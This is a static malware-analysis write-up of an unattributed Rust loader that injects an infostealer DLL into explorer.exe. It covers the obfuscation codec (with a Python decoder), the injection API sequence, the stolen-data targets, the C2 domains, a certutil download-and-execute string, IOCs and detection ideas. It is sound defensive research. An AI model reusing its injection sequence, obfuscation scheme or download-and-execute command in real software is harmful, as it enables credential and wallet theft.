0. Preface
This sample arrived with no family label — just a SHA-256 for a filename and
a .exe extension. It turned out to be a two-stage Rust implant: a loader that
carries an encoded, headerless DLL, maps it, and injects it into
explorer.exe; and the DLL itself, a broad-spectrum infostealer covering
Chromium and Gecko browsers, Discord, Roblox, Steam, and cryptocurrency
clipboard addresses.
Everything below is static analysis. The sample was never executed, no VM
was detonated, and none of the recovered domains were contacted. Decompilation
was done with kuna under rustabi auto; the
payload and both stages’ string tables were recovered with a short Python
reimplementation of the sample’s own codec (§4.1).
The whole analysis turns on one observation: the payload and every string in both stages are protected by the same codec — a keyed custom-alphabet Base64 followed by a small LZ decompressor. Crack it once and the loader, the DLL, and 618 encrypted strings all fall out together. The C2 domains are the one exception: they sit under a separate single-byte XOR layer, recovered in §5.4.
On family attribution: none is claimed. The behaviour is generic commodity-stealer, there is no self-identifying string, and the recovered infrastructure doesn’t match anything I could attribute with confidence. It is also not related to the RustyStealer sample covered earlier: that one is UPX-packed, exfiltrates over a Telegram bot, and protects its C2 with AES-256-GCM. The two share a language and a target list, and nothing structural.
1. The Threat at a Glance
| Attribute | Assessment |
|---|---|
| Malware type | Rust loader/injector → in-memory Rust infostealer DLL |
| Family | Unattributed |
| Stage 1 | PE32+ x64 GUI, Rust (MSVC toolchain), 1,017,344 bytes |
| Stage 2 | PE32+ x64 DLL, Rust, 544,768 bytes once reassembled; export DllMain; never touches disk |
| Injection | Remote-thread injection into the Shell_TrayWnd owner (explorer.exe): OpenProcess → VirtualAllocEx(RWX) → WriteProcessMemory → CreateRemoteThread |
| C2 | kertc1[.]website, konradkertc3[.]website, konradkertc2[.]website — HTTPS POST / on 443 via WinHTTP |
| Targets | Chromium (incl. App-Bound key material) and Gecko browsers, Discord tokens, Roblox .ROBLOSECURITY, Steam, BTC/LTC/BCH clipboard addresses |
| Evasion | Keyed Base64+LZ codec over payload and all strings; API hashing; decoy dictionary/compiler strings padding .rdata; junk GUI API calls; opaque predicates; hypervisor-vendor checks; locale/keyboard-layout queries |
| Persistence | None identified in either stage |
| Confidence | High for the codec, payload reassembly, injection sequence, and C2 table (all byte-exact, reproduced offline). Medium for stealer capabilities (from decrypted strings and imports, not traced code paths) |
2. Infection Chain Overview
![Infection chain: a 1 MB Rust loader whose .rdata is a 532,837-byte printable pool padded with dictionary words, compiler diagnostics and fake paths; a keyed custom-alphabet Base64 followed by an LZ decompressor recovers the payload and all 618 strings; the payload is a headerless DLL whose 1 KB header has its MZ and PE signatures zeroed, re-written by the loader in a 0x8a000-byte image buffer and relocated with a loader-supplied list of 918 fixups; the loader finds Shell_TrayWnd, opens explorer.exe with full access and writes the image, a 0x400-byte parameter block and a start-up stub into one RWX region, then starts a remote thread at offset 0x8a400; inside explorer the Rust stealer DLL targets Chromium and Gecko browsers, Discord tokens, Roblox, Steam and cryptocurrency clipboard addresses; it POSTs over HTTPS to three single-byte-XOR-encoded hosts, kertc1[.]website, konradkertc3[.]website and konradkertc2[.]website](/malware-analysis/posts/rust-explorer-injector-base64-lz-codec-and-a-three-domain-stealer/infection-chain.png)
| Stage | File | SHA-256 | Role |
|---|---|---|---|
| 1 | 5ac77171….exe | 5ac77171a926553077fc244c88cce1ec5a4d779e538f573986a9c3a9a683c67f | Decodes, maps, relocates and injects stage 2 into explorer.exe |
| 2 | payload.dll (reassembled) | 06d2372ae6938f79b8480e19f69a9d280b9357a5e9e011dac85e463750981011 | Infostealer; collects and POSTs to one of three C2s |
Delivery is unknown — the sample arrived standalone.
3. Triage: Rust Behind an MSVC Fingerprint
diec reports only Microsoft Visual C/C++(16.00) with a CodeView record —
true of the linker, misleading about the language. Three independent markers
put it in Rust:
- the import set —
NtReadFile/NtWriteFilefromntdll,WaitOnAddress/WakeByAddress*,GetFileInformationByHandleEx,SetFileInformationByHandle— is the RuststdWindows backend’s signature; OS Errorand" (FormatMessageW() returned error "are verbatim fromstd::sys::pal::windows::os::error_string;- the 200-byte
000102…9899table iscore::fmt’sDEC_DIGITS_LUT.
There are no /rustc/<hash>/ paths and no src/… panic locations, so the
build is panic = "abort" with location data stripped. The usual Rust
navigation aid — xref the panic strings — is gone. The PDB names are
skefle.pdb (stage 1) and build.pdb (stage 2).
Prologues are LLVM-shaped (push r15; push r14; push r13; push r12; push rsi; push rdi; push rbp; push rbx → AWAVAUATVWUSH in strings), which is what
first suggested something other than MSVC C++ was underneath.
4. Stage 1 — The Loader
4.0 A .rdata built to waste your time
Stage 1’s sections are unremarkable at a glance — no packer, .text entropy
6.5 — but .rdata is 590 KB against 128 KB of code, and almost all of it is a
single 532,837-byte printable run (file offset 0x233b0–0xa5515). Its byte
distribution is heavily skewed (N and l dominate, lll… runs recur), and
it is interleaved with three kinds of decoy:
- dictionary-word salad —
congenitallybrawniest,obelisksinstigated,departingtorturous,right came over can went first and here how them; - compiler/library diagnostic text —
RTCDataChannel cannot have traits specified,ShaderRecordBufferKHR Storage Class operand,extraneous template parameter type %0to function expecting type; - fake filesystem paths —
C:\Program Files (x86)\Wireshark\bluiessiirg.pdf,C:\ProgramData\LLVM\synongsels.pdf,C:\Program Files (x86)\NVIDIA Corporation\smiucyiaorth.cfg.
None of the decoys are referenced as plaintext. The printable run is not one
payload either: it is a pool — the payload plus every encrypted string,
each addressed as a (pointer, length) slice into it. The same style of junk
appears in the code: scattered calls to GetSysColor, GetSystemMetrics,
GetCaretBlinkTime, GetLogicalDrives and GetOEMCP whose results feed only
dead globals, and opaque predicates built from TEB/PEB reads
(gs:[0x58] → TLS slot → field) that guard ud2 traps.
4.1 The codec
Exactly one instruction references the start of the pool —
lea r8, [0x1400247b0] in sub_140007168, the loader’s 12 KB main routine —
and the call that matters there is:
sub_1400021b8(&body, 0x140024913, 0x81fd1, 200); // payload body
sub_1400021b8(&hdr, "SSTSStxS&pM…", 0x1d2, 0xcb); // payload headers
sub_1400021b8 is the codec. Stripped of opaque predicates it is two stages.
Stage A — keyed custom Base64. A 64-character alphabet sits in .rdata
(itself disguised as another junk string):
UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJ
The reverse table is built as rev[alpha[i]] = (i - key) & 0x3f, so the key
byte rotates the alphabet and only its low six bits matter. Decoding is a
standard 6-bit accumulator.
Stage B — LZ decompression. The Base64 output starts with a little-endian
u32 decompressed size, followed by groups of one flag byte and eight tokens,
flags read MSB-first: a 1 bit is a literal byte; a 0 bit is a two-byte
little-endian word w encoding a back-reference of distance (w >> 5) + 1
and length (w & 0x1f) + 4.
Several of these constants are hidden behind opaque arithmetic in the decompilation (the step size, the length mask). The values above are the ones that make the declared size match the output length exactly for every blob — which is a strong check, since a wrong constant desynchronises the token stream within a few bytes.
ALPHA = b"UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJ"
def b64(src, key):
t = {c: (i - key) & 0x3f for i, c in enumerate(ALPHA)}
acc = bits = 0; out = bytearray()
for c in src:
acc = (acc << 6) | t[c]; bits += 6
if bits >= 8:
bits -= 8; out.append((acc >> bits) & 0xff); acc &= (1 << bits) - 1
return bytes(out)
def lz(b):
n = int.from_bytes(b[:4], "little"); i = 4; out = bytearray()
while len(out) < n:
flags = b[i]; i += 1
for bit in range(7, -1, -1):
if len(out) >= n: break
if flags >> bit & 1:
out.append(b[i]); i += 1
else:
w = b[i] | b[i+1] << 8; i += 2
for _ in range((w & 0x1f) + 4): out.append(out[-((w >> 5) + 1)])
return bytes(out)
| Blob | Encoded | After Base64 | Declared / produced |
|---|---|---|---|
Payload body (0x140024913, key 200) | 532,433 chars | 399,324 B | 543,744 / 543,744 |
Payload headers (key 0xcb) | 466 chars | 349 B | 1,024 / 1,024 |
4.2 Reassembling the payload
The body begins with real x64 code (56 48 83 ec 20 48 89 ce … —
push rsi; sub rsp,20h; mov rsi,rcx), so it is raw section data with no
headers. The header blob is a complete 1 KB PE header — e_lfanew = 0x40,
eight sections, Characteristics = 0x2022 (DLL) — with both signatures
zeroed. The loader puts them back by hand after copying the header into a
0x8a000-byte image buffer:
e_lfanew = *(uint32_t *)&img[0x3c];
img[1] = 'Z'; img[e_lfanew + 1] = 'E';
img[0] = 'M'; img[e_lfanew] = (char)(dat_1400b1d7c - 0x5f16dc1e); // 'P'
Section placement comes from the loader’s own table at 0x140021568 — eight
20-byte {VirtualSize, BodyOffset, RVA, RawSize, Characteristics} records —
rather than from the header, though the two agree. For a static rebuild,
concatenating the header (with MZ/PE restored) and the body produces a
valid file directly, because the header’s PointerToRawData values are the
body offsets plus 0x400. The result parses cleanly: imports resolve, the
.reloc directory is intact, and there is one export, DllMain.
4.3 Strings and API resolution
Every API name, DLL name, and path stage 1 uses is a codec slice, decrypted
through a lazily-initialised cache (sub_1400201b6 / sub_1400068de) and
passed to a hash-based resolver, sub_14000f958(module_hash, …, export_hash, name). A brute sweep — every .rdata address the code references, all 64
effective keys, accepting only a plausible u32 length, a 0xff-style first
flag byte, and printable output — recovers 143 strings, including:
FindWindowA Shell_TrayWnd GetWindowThreadProcessId
OpenProcess VirtualAllocEx WriteProcessMemory
CreateRemoteThread OpenProcessToken GetTokenInformation
DuplicateHandle GetKeyboardLayoutList GetUserDefaultLocaleName
GetSystemDefaultLocaleName RtlGetVersion
PROCESSOR_ARCHITECTURE COMSPEC GetTempPathW
C:\ProgramData\sucking\uiasseausk
The last path follows the same random-word pattern as the plaintext decoys
but is genuinely decrypted at runtime; it sits next to CreateMutexW in the
string table, and I did not trace what the loader does with it.
4.4 Injection into explorer
After mapping and import resolution, the loader:
- finds the taskbar with
FindWindowA("Shell_TrayWnd")and takes its owning PID withGetWindowThreadProcessId— i.e. it targetsexplorer.exe; - opens it with
OpenProcess(0x1FFFFF /* PROCESS_ALL_ACCESS */, FALSE, pid); - allocates one region with
VirtualAllocEx(h, NULL, size, 0x3000 /* MEM_COMMIT|MEM_RESERVE */, 0x40 /* PAGE_EXECUTE_READWRITE */); - relocates the local image copy to the remote base using a loader-supplied
fixup list — 918 four-byte RVAs (
0xe58bytes at0x140022ba4, all inside the payload’s.rdata/.data) — rather than the DLL’s own.reloc; - builds a single contiguous buffer and writes it with one
WriteProcessMemory:
remote + 0x00000 relocated image (0x8a000 bytes)
remote + 0x8a000 parameter block (0x400 bytes; holds image size
0x8a000 and entry RVA 0x67ac0)
remote + 0x8a400 start-up stub
- starts it with
CreateRemoteThread(h, NULL, 0, remote + 0x8a400, …).
The thread starts in the stub, not at the DLL entry point; the stub
presumably calls the image’s entry (AddressOfEntryPoint = 0x67ac0) using the
parameter block. I did not reverse the stub instruction by instruction.
5. Stage 2 — The Stealer DLL
5.1 Same codec, bigger table
Stage 2 is again Rust (identical std import fingerprint), compiled with the
same obfuscator — the same junk GUI calls (BeginPaint, FillRect,
TextOutW, GetMessagePos …), the same opaque predicates, and the same
Base64+LZ string slices with the same alphabet. It has no embedded payload;
.text is 429 KB of real code.
The same sweep recovers 475 strings. Extending it to every byte offset of
.rdata rather than only referenced addresses adds nothing material except a
4,193-byte pipe-separated browser-extension blocklist (ublock|adblock| sponsorblock|…|mcafee anti|avast bank|…) — extensions the stealer skips when
harvesting extension storage.
Notably absent from the codec output: any domain or URL. That is because the C2 list uses a different layer (§5.4).
5.2 What it targets
Grouped from the decrypted strings. These are capabilities present in the binary; I traced the C2 path end to end, but not each collector.
| Area | Representative strings |
|---|---|
| Chromium | User Data, Local State, encrypted_key, app_bound_encrypted_key, Login Data, Login Data For Account, Network\Cookies, Web Data, History, Local Storage\leveldb, \Local Extension Settings, Last Browser, CryptUnprotectData, BCryptDecrypt, ChainingModeGCM |
| Gecko | Profiles, prefs.js, key4.db, logins.json, cookies.sqlite, places.sqlite, formhistory.sqlite, extensions.json, extensions.webextensions.uuids, moz-extension+++, storage\default |
| Discord | discord, dQw4w9WgXcQ: (the prefix of Discord’s encrypted-token format), Token: , tokens.txt |
| Roblox | .ROBLOSECURITY, Roblox\LocalStorage, RobloxCookies.dat |
| Steam | Software\Valve\Steam, SteamPath, config\config.vdf, Steam\local.vdf, SteamID |
| Clipboard | OpenClipboard, GetClipboardData, SetClipboardData, GetClipboardSequenceNumber, bc1, ltc1, bitcoincash: |
| Recon | GetUserNameW, GetVolumeInformationW, GlobalMemoryStatusEx, EnumDisplayDevicesW, Uninstall keys with DisplayName / DisplayVersion, Keyboard Layout\Preload |
| Screenshot | GetDC, CreateCompatibleBitmap, GetDIBits |
| Download & execute | /c certutil.exe -urlcache -split -f, msiexec.exe, /qn /norestart, .bat, .cmd, .msi, CreateProcessW, CreateProcessWithTokenW |
| Process access | CreateToolhelp32Snapshot, ReadProcessMemory, NtQuerySystemInformation, NtQueryObject, DuplicateHandle, SuspendThread / GetThreadContext / SetThreadContext / ResumeThread |
app_bound_encrypted_key means it is at least aware of Chrome 127+ App-Bound
Encryption; whether it implements a working bypass (as RustyStealer did) is
not established here. The handle-duplication and process-read APIs are
consistent with stealing locked browser databases from a running browser, but
I did not trace that path.
5.3 Anti-VM
A table of hypervisor CPUID vendor signatures, plus display-adapter and
firmware-table probes (EnumDisplayDevicesW, GetSystemFirmwareTable,
Standard VGA, Basic Display, Virtio):
VMwareVMware VBoxVBoxVBox XenVMMXenVMM KVM Linux KVM Hv LKVMLKVMLKVM
lrpepyh vr ( prl hyperv ) TCGTCGTCGTCG HAXMHAXMHAXM EVMMEVMMEVMM
bhyve bhyve ___ NVMM ___ OpenBSDVMM58 Jailhouse IntelTDX Apple VZ
NoirVisor ZT MiniVisor Barevisor! UnisysSpar64 SRESRESRESRE
QNXQVMBSQG Neko Project ConnectixCPU Insignia 586 Compaq FX!32
The list is unusually exhaustive — including emulators like Neko Project and Insignia SoftPC that no sandbox runs — which reads as a copied signature list rather than anything tuned to a specific sandbox.
5.4 The C2 table
The HTTP sender, sub_1800149bf, takes the host as a parameter, so the C2 is
not a literal at the request site. Following its caller in sub_180041938 (the
21 KB main routine) leads to this loop:
for (e = table; e != table_end; e++) {
buf = alloc(e->len);
for (i = 0; i < e->len; i++) buf[i] = e->ptr[i] ^ e->key;
if (!from_utf8(buf)) continue;
sub_1800149bf(&resp, buf, …, "/", …, "POST", …);
…
}
The table sits at 0x180072338, stride 0x18:
struct c2_entry { uint8_t key; uint8_t _pad[7]; const uint8_t *ptr; size_t len; };
kuna rendered the key access as "g"[v98] — the first entry’s key byte is
0x67, ASCII g, which happened to look like a one-character string.
| # | Key | Encoded at | Len | Domain |
|---|---|---|---|---|
| 0 | 0x67 | 0x18006faa0 | 14 | kertc1[.]website |
| 1 | 0x7f | 0x18006c3c3 | 20 | konradkertc3[.]website |
| 2 | 0x53 | 0x18006d500 | 20 | konradkertc2[.]website |
Note the ordering: 1, 3, 2.
Inside sub_1800149bf the WinHTTP calls are resolved dynamically from
winhttp.dll. WinHttpConnect receives port 0x1bb (443) and
WinHttpOpenRequest receives flag 0x800000 (WINHTTP_FLAG_SECURE); the
method and path decode from codec strings to POST and /. So the transport
is HTTPS POST / to each domain in turn. I did not establish whether the
loop stops at the first success, or the body format — RtlCompressBuffer /
RtlGetCompressionWorkSpaceSize in the string table suggest the upload is
compressed with the NT native compressor.
6. A Note on Timestamps
The PE timestamps are internally inconsistent:
| Image | TimeDateStamp |
|---|---|
| Stage 1 (loader) | 0x6a99a64b → 2026-09-03 16:54:35 UTC |
| Stage 2 (embedded DLL) | 0x6abfe4d1 → 2026-10-02 17:07:29 UTC |
The loader carries the DLL, so the DLL must have been built first — yet its timestamp is a month later. At least one is not genuine. The likeliest reading is that the loader’s timestamp is forged or reused from a template build and the DLL’s is real (it is a day before the sample was collected), but neither should be used for timelining.
7. Indicators of Compromise
Files
| Hash | Value |
|---|---|
| Stage 1 SHA-256 | 5ac77171a926553077fc244c88cce1ec5a4d779e538f573986a9c3a9a683c67f |
| Stage 1 SHA-1 | 8d1f6d39e8040a7f656a5a50277192d9e5fb8c2a |
| Stage 1 MD5 | f517d3ed8e63d555533a152ed5f3d66b |
| Stage 2 SHA-256 | 06d2372ae6938f79b8480e19f69a9d280b9357a5e9e011dac85e463750981011 |
| Stage 2 SHA-1 | b11f46d875f1f6a3b0cbc859cded4096cf01b820 |
| Stage 2 MD5 | c3c8b5e43a2fcb408af652dee711e4fe |
Stage 2 hashes are for the statically reassembled image (header with
MZ/PE restored, concatenated with the decoded body). It never exists on
disk in this form, and an in-memory dump from a victim will differ (relocated
to the remote base, IAT filled), so treat these as research identifiers rather
than scanning IOCs.
Network
kertc1[.]website
konradkertc3[.]website
konradkertc2[.]website
HTTPS (443) POST / via WinHTTP
Host
explorer.exe hosting a private RWX region of ~0x8a000+ bytes with no backing file
C:\ProgramData\sucking\uiasseausk (decrypted by stage 1; use not traced)
C:\Program Files\truncheons\eokirteiald.cfg (decrypted by stage 2; use not traced)
PDB names: skefle.pdb (stage 1), build.pdb (stage 2)
Constants for hunting / YARA
| Value | Use |
|---|---|
UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJ | codec alphabet, both stages |
(i - key) & 0x3f | alphabet rotation |
0x8a000 | stage 1 image buffer size |
0x67ac0 | stage 2 entry RVA, written into the parameter block |
0x8a400 | remote thread start offset |
0x67 / 0x7f / 0x53 | C2 entry XOR keys |
8. Detection Opportunities
- Remote thread into explorer from a non-system binary.
CreateRemoteThreadtargetingexplorer.exe, preceded byFindWindowA("Shell_TrayWnd")andOpenProcess(PROCESS_ALL_ACCESS), from an unsigned process in a user directory. This is the highest-fidelity behavioural signal stage 1 offers. - Memory scanning. A private, unbacked
PAGE_EXECUTE_READWRITEregion inexplorer.exeof roughly0x8a000bytes plus a page, whose start is a PE image and whose thread start address sits0x8a400bytes in. - explorer.exe making HTTPS POSTs to newly-registered
.websitedomains, or reading browser credential stores (Login Data,key4.db,Local State), Discordleveldb, or Steamconfig.vdf. Explorer has no legitimate reason to do any of these. - Clipboard replacement:
explorer.execallingSetClipboardDataright after a clipboard change containing abc1/ltc1/bitcoincash:address. - Static: the codec alphabet is a 64-byte literal in both stages and makes
a cheap YARA anchor; combine with the
stderror stringFormatMessageW() returned errorto scope to Rust builds.
9. MITRE ATT&CK
| Tactic | Technique |
|---|---|
| Execution | T1106 Native API |
| Defense Evasion | T1027 Obfuscated Files or Information (keyed Base64+LZ codec; decoy strings); T1027.007 Dynamic API Resolution (hash-based resolver); T1140 Deobfuscate/Decode Files or Information; T1055.002 Process Injection: Portable Executable Injection (manual map + remote thread into explorer.exe); T1620 Reflective Code Loading; T1497.001 Virtualization/Sandbox Evasion: System Checks (CPUID vendor, display adapter, firmware table) |
| Discovery | T1082 System Information Discovery; T1012 Query Registry (Uninstall keys, Steam); T1614.001 System Location Discovery: System Language Discovery (locale and keyboard-layout queries); T1057 Process Discovery |
| Credential Access | T1555.003 Credentials from Web Browsers; T1539 Steal Web Session Cookie (browser cookies, .ROBLOSECURITY); T1528 Steal Application Access Token (Discord) |
| Collection | T1115 Clipboard Data; T1113 Screen Capture; T1005 Data from Local System |
| Impact | T1565.002 Data Manipulation (clipboard address replacement) (inferred from wallet prefixes + SetClipboardData) |
| Command and Control | T1071.001 Web Protocols (HTTPS POST); T1105 Ingress Tool Transfer (certutil -urlcache, msiexec /qn) (capability, not observed) |
| Exfiltration | T1041 Exfiltration Over C2 Channel |
10. Confidence and Gaps
Traced and verified: the codec (both stages decode with declared sizes
matching output exactly, and 618 strings come out as clean API and path
names); payload reassembly (the rebuilt DLL parses with intact imports,
relocations, and export); the injection sequence (each API resolved from a
decrypted name, with the OpenProcess, VirtualAllocEx, and
CreateRemoteThread arguments read from the decompilation); the remote memory
layout; the C2 table (three entries, keys and lengths read directly, all three
decoding to clean hostnames); and the transport (port 443,
WINHTTP_FLAG_SECURE, POST /).
Identified but not exhaustively reversed: the remote start-up stub at
+0x8a400; individual stealer collectors (§5.2 is from strings and imports);
the anti-VM decision logic; what the locale and keyboard-layout queries gate.
Locale checks in commodity stealers usually implement a CIS-country
kill-switch, but I did not confirm which locales, if any, cause an exit here.
Still open:
- Exfiltration format unknown. The HTTP body layout, any envelope encryption, and whether the compressor is actually used were not recovered.
- C2 behaviour unobserved. Nothing was executed and no domain was
contacted, so liveness, server responses, and any tasking (the
certutil/msiexecstrings imply the server can push files to run) are unknown. - Delivery unknown. The sample arrived standalone; how stage 1 reaches a victim isn’t visible in the file.
- Family unattributed. Nothing in either stage names itself, and I found no infrastructure overlap that would support a label.